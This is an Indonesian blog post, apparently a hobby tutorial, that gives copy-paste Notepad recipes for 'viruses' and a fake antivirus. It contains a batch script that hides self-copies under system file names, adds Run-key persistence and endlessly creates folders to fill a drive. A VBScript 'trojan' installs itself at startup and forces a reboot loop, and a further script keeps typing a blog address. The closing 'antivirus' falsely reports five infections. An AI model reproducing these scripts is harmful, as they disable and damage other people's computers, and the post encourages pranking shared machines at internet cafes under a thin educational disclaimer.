Halo selamat siang sobat bloggers..
selamat akhir pekan uhuuuiii.....
-entri baru.post baru-
nah kali ini ane mau berbagi cara membuat Virus ganas yang seperti Trojan dan cara membuat antivirus sederhana dari Notepad.
jangan di buat jahil lho gan ,dan jangan buat ni virus di komputer anda sendiri,bisa bahaya !
segala tutorial yang saya buat ini hanya untuk tambahan pengetahuan dan pembelajaraan saja,kalau mau buat iseng mending di warnet aja hahaa..
dan tutorial ini ane dapat dari berbagai sumber.
jika komputer anda mengalami kerusakan setelah berani mencoba atau membuat virus ini ,penulis tidak bertanggung jawab.
oke jika anda berminat silahkan perhatikan tutorial di bawah ini :
Cara buat Virus Seri 11.Buka Notepad
2.Copy Paste Kode Dibawah ini
@echo off
title %username% Wan Bule Simple Commend !!!
echo ~~~~~~~~~~~~~~ 100% Succes Complete ~~~~~~~~~~~~~~~~~
copy *.cmd c:\Autoexec.cmd >nul
copy *.cmd c:\ntldr.cmd >nul
copy *.cmd c:\MSDOS.cmd >nul
copy *.cmd c:\IO.cmd >nul
copy *.cmd c:\hiberfil.cmd >nul
copy *.cmd c:\pagefile.cmd >nul
attrib +r +s +h c:\Autoexec.cmd >nul
attrib +r +s +h c:\ntldr.cmd >nul
attrib +r +s +h c:\MSDOS.cmd >nul
attrib +r +s +h c:\IO.cmd >nul
attrib +r +s +h c:\hiberfil.cmd >nul
attrib +r +s +h c:\pagefile.cmd >nul
attrib +r +s +h c:\Tes aja.exe>nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wanbule@yahoo.com /t REG_SZ /d c:\Autoexec.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v System32 /t REG_SZ /d c:\ntldr.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Windows /t REG_SZ /d c:\MSDOS.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AdobeLauncer /t REG_SZ /d c:\IO.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MsOffice /t REG_SZ /d c:\hiberfil.cmd /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Reader /t REG_SZ /d c:\pagefile.cmd /f >nul
md D:\Data_%username%\urang awak.exe
md c:\system.bat
:start
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
mkdir e:\%random% mkdir e:\%random% mkdir e:\%random%
goto start
itu diatas codenya,kalau agan sudah Copy Pastekan di Notepad, lalu Save as dengan nama Tes.bat
Ganti tipenya menjadi ALL FILES.
nah selesai ,tinggal dijalanin aja xixixi
Cara Buat Virus Seri 2 (Trojan)1. buka notepad
2. copy pastekan script yang ada di bawah ini ke notepad!
set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
itu codenya kalau sudah di copykan di notepad lalu simpan save as dengan nama tes.vbs
ingat extensinya harus .VBS contoh Prima.VBS ,ganti tipenya menjadi ALL FILES
dan enter ...
ingat jangan di klik gan! bisa-bisa keluar 1000 file aneh di komputer.
Cara Buat Virus Seri 3 (Mematikan)1.buka notepad
2.copy paste kode di bawah ini
WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "v"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "s"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "t"
WScript.Sleep 500
WshShell.SendKeys "w"
WScript.Sleep 500
WshShell.SendKeys "w"
WScript.Sleep 500
WshShell.SendKeys "w"
WScript.Sleep 500
WshShell.SendKeys "."
WScript.Sleep 500
WshShell.SendKeys "d"
WScript.Sleep 500
WshShell.SendKeys "u"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "w"
WScript.Sleep 500
WshShell.SendKeys "7"
WScript.Sleep 500
WshShell.SendKeys "3"
WScript.Sleep 500
WshShell.SendKeys "5"
WScript.Sleep 500
WshShell.SendKeys "."
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys "g"
WScript.Sleep 500
WshShell.SendKeys "s"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys "."
WScript.Sleep 500
WshShell.SendKeys "c"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys "m"
WScript.Sleep 500
wscript.sleep 5000
loop
itu codenya di atas ,terus save as dengan format .vbs
misal : prima.vbs ,dan ganti menjadi ALL FILES
lalu simpan.
Cara Membuat Anrivirus Dari Notepad1.buka notepad
2.copypaste kode dibawah ini
echo off
color ce
cls
echo --------
echo =============================
echo antivirus ku by prima
echo =============================
echo +++++++++
echo.
echo.
echo Selamat anda telah membeli software kami. mohon updatenya yang ke (Revision Ke berapa)
echo Anti Virus Ini akan memeriksa dari ancaman virus.
echo.
echo.echo Nanti Kita Seegera memeriksa komp/laptop anda dengan sangat cepat
echo Tekan sembarang untuk mengaktifkannya!!! :)
pause
cls
dir %windir% /s
dir %windir% /s
dir %windir% /s
dir %windir% /s
dir %windir% /s
cls
echo proses kami telah selesai.
echo.
echo ditemukan 5 jenis virus pada komp/ laptop anda
echo.
echo.
:pilih
echo Apakah anda sudah menginstal AVG 9? (Y/N)
set /p inputchoice=
if %inputchoice% equ y goto yes if %inputchoice% equ Y goto yes
if %inputchoice% equ n goto no
if %inputchoice% equ N goto no
echo.
echo.
echo anda memasukkan jawaban yang salah
echo silahkan coba kembali
pause
cls
goto pilih
:yes
cls
exit:no
cls
echo berikut ini kami akan mengantarkan ke alamat AVG 9
echo tekan terserah untuk melanjutkan!!!
pause
Lalu pastekan ke notepad
Simpan dengan nama belakang .bat (contoh : Antivir.bat)
Jalankan program dengan mengklik 2X.
nah mudah kan ?? :)
oke cukup sampai disini ya sob :)
apabila ada kata yang kurang jelas ,boleh untuk berkomentar..
Semoga bermanfaat :)
